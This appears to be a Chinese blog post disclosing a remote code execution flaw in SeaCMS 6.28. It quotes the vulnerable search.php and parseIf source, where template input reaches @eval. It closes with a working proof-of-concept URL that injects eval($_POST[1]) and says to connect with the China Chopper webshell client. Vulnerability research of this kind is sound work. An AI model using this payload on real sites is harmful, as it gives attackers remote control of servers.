海洋CMS V6.28代码执行0day

海洋CMS 版本 6.28 代码执行漏洞,很早之前挖的,网上已经被曝了,发出来当学习把
漏洞文件:seacms/search.php

function echoSearchPage()
{
    global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
    $order = !empty($order)?$order:time;
    if(intval($searchtype)==5)
    {
        $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
        $typeStr = !empty($tid)?intval($tid).'_':'0_';
        $yearStr = !empty($year)?PinYin($year).'_':'0_';
        $letterStr = !empty($letter)?$letter.'_':'0_';
        $areaStr = !empty($area)?PinYin($area).'_':'0_';
        $orderStr = !empty($order)?$order.'_':'0_';
        $jqStr = !empty($jq)?$jq.'_':'0_';
        $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
        $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
    }else
    {
        if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
        $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
        $cacheName="parse_search_";
        $pSize = getPageSizeOnCache($searchTemplatePath,"search","");
    }
    if (empty($pSize)) $pSize=12;
    switch (intval($searchtype)) {
        case -1:
            $whereStr=" where v_recycled=0 and (v_name like '%$searchword%' or v_actor like '%$searchword%' or v_director like '%$searchword%' or v_publisharea like '%$searchword%'  or v_publishyear like '%$searchword%' or v_letter='$searchword' or v_tags='$searchword' or v_nickname like '%$searchword%')";
        break;
        case 0:
            $whereStr=" where v_recycled=0 and v_name like '%$searchword%'";    
        break;
        case 1:
            $whereStr=" where v_recycled=0 and v_actor like '%$searchword%'";
        break;
        case 2:
            $whereStr=" where v_recycled=0 and v_publisharea like '%$searchword%'";
        break;
        case 3:
            $whereStr=" where v_recycled=0 and v_publishyear like '%$searchword%'";
        break;
        case 4:
            $whereStr=" where v_recycled=0 and v_letter='".strtoupper($searchword)."'";
        break;
        case 5:
            $whereStr=" where v_recycled=0";
            if(!empty($tid)) $whereStr.=" and (tid in (".getTypeId($tid).") or FIND_IN_SET('".$tid."',v_extratype)<>0)";
            if($year=="more")
                {
                $publishyeartxt=sea_DATA."/admin/publishyear.txt";
                        $publishyear = array();
                        if(filesize($publishyeartxt)>0)
                        {
                            $publishyear = file($publishyeartxt);
                        }
                        $yearArray=$publishyear;
                        $yeartxt= implode(',',$yearArray);
                        $whereStr.=" and v_publishyear not in ($yeartxt)";
                }
            if(!empty($year) AND $year!="more")
                {$whereStr.=" and v_publishyear='$year'";}
            if($letter=="0-9")
                {$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
            if(!empty($letter) AND $letter!="0-9")
                {$whereStr.=" and v_letter='$letter'";}
            if(!empty($area)) $whereStr.=" and v_publisharea='$area'";
            if(!empty($yuyan)) $whereStr.=" and v_lang='$yuyan'";
            if(!empty($jq)) $whereStr.=" and v_jq like'%$jq%'";
            if($state=='l') $whereStr.=" and v_state !=0";
            if($state=='w') $whereStr.=" and v_state=0";
            if($money=='s') $whereStr.=" and v_money !=0";
            if($money=='m') $whereStr.=" and v_money=0";
            if(!empty($ver)) $whereStr.=" and v_ver='$ver'";
        break;
    }
    $sql="select count(*) as dd from sea_data ".$whereStr;
    $row = $dsql->GetOne($sql);
    if(is_array($row))
    {
        $TotalResult = $row['dd'];
    }
    else
    {
        $TotalResult = 0;
    }
    $pCount = ceil($TotalResult/$pSize);
    if($cfg_iscache){
        if(chkFileCache($cacheName)){
            $content = getFileCache($cacheName);
        }else{
            $content = parseSearchPart($searchTemplatePath);
            setFileCache($cacheName,$content);
        }
    }else{
            $content = parseSearchPart($searchTemplatePath);
    }
    $content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);
    
    $content = str_replace("{searchpage:order-hit-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hit&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-hitasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hitasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    
    $content = str_replace("{searchpage:order-id-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=id&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-idasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=idasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    
    $content = str_replace("{searchpage:order-time-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=time&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-timeasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=timeasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    
    $content = str_replace("{searchpage:order-commend-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commend&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-commendasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commendasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    
    $content = str_replace("{searchpage:order-score-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=score&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    $content = str_replace("{searchpage:order-scoreasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=scoreasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&money=".$money."&ver=".$ver."&jq=".$jq,$content);
    if(intval($searchtype)==5)
    {
        $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
        $jq = !empty($jq)?$jq:'全部';
        $area = !empty($area)?$area:'全部';
        $year = !empty($year)?$year:'全部';
        $yuyan = !empty($yuyan)?$yuyan:'全部';
        $letter = !empty($letter)?$letter:'全部';
        $state = !empty($state)?$state:'全部';
        $ver = !empty($ver)?$ver:'全部';
        $money = !empty($money)?$money:'全部';
        $content = str_replace("{searchpage:type}",$tid,$content);
        $content = str_replace("{searchpage:typename}",$tname ,$content);
        $content = str_replace("{searchpage:year}",$year,$content);
        $content = str_replace("{searchpage:area}",$area,$content);
        $content = str_replace("{searchpage:letter}",$letter,$content);
        $content = str_replace("{searchpage:lang}",$yuyan,$content);
        $content = str_replace("{searchpage:jq}",$jq,$content);
        if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
        if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
        $content = str_replace("{searchpage:state}",$state2,$content);
        $content = str_replace("{searchpage:money}",$money2,$content);
        $content = str_replace("{searchpage:ver}",$ver,$content);
        $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
        $content=$mainClassObj->parseSearchItemList($content,"type");
        $content=$mainClassObj->parseSearchItemList($content,"year");
        $content=$mainClassObj->parseSearchItemList($content,"area");
        $content=$mainClassObj->parseSearchItemList($content,"letter");
        $content=$mainClassObj->parseSearchItemList($content,"lang");
        $content=$mainClassObj->parseSearchItemList($content,"jq");
        $content=$mainClassObj->parseSearchItemList($content,"state");
        $content=$mainClassObj->parseSearchItemList($content,"ver");
        $content=$mainClassObj->parseSearchItemList($content,"money");
    }else
    {
        $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
    }
    $content=replaceCurrentTypeId($content,-444);
    $content=$mainClassObj->parseIf($content);  //这个函数引起的,我们来跟踪下这个函数
    $content=str_replace("{seacms:member}",front_member(),$content);
    $searchPageStr = $content;
    echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
}

parseif函数路径:/include/main.class.php

function parseIf($content){
        if (strpos($content,'{if:')=== false){
        return $content;
        }else{
        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
        $labelRule2="{elseif";
        $labelRule3="{else}";
        preg_match_all($labelRule,$content,$iar);
        $arlen=count($iar[0]);
        $elseIfFlag=false;
        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
                    @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");//就是这里了,@eval
                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
            }else{
                $elseIfArray=explode($labelRule2,$strThen);
                $elseIfArrayLen=count($elseIfArray);
                $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                $resultStr=$elseIfSubArray[1];
                $elseIfArraystr0=addslashes($elseIfArray[0]);
                @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                    $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                    $strElseIf=$this->parseStrIf($strElseIf);
                    $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                    @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                    @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                    if ($elseIfFlag) {break;}
                }
                $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
                $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
                if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                $content=str_replace($iar[0][$m],$resultStr,$content);
            }
        }
        return $content;
        }
POC:/search.php?searchtype=5&tid=&area=eval($_POST[1]) 菜刀链接,密码为1

发表评论